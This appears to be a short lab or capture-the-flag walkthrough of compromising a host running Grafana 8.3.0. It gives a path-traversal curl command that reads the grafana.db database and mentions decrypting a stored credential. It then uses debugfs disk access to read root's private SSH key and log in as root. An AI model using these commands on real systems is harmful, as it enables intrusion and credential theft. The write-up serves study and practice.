Skip to content

Latest commit

 

History

History
41 lines (33 loc) · 1.08 KB

File metadata and controls

41 lines (33 loc) · 1.08 KB

We have grafana 8.3.0 vulnerable to LFI

curl http://192.168.182.181:3000/public/plugins/alertlist/../../../../../../../../../../../../..//var/lib/grafana/grafana.db --path-as-is -o grafana.db

Now we have grafana.db

Checking data_source table: We have a hashed credential

Using this exploit We can decrypt it:

Now trying ssh:

Now checking groups we belong to: We can get access to root files:

df -h
debugfs /dev/sda2
cd /root
cat /root/.ssh/id_rsa

Now we can access root through ssh:

ssh [email protected] -i id_rsa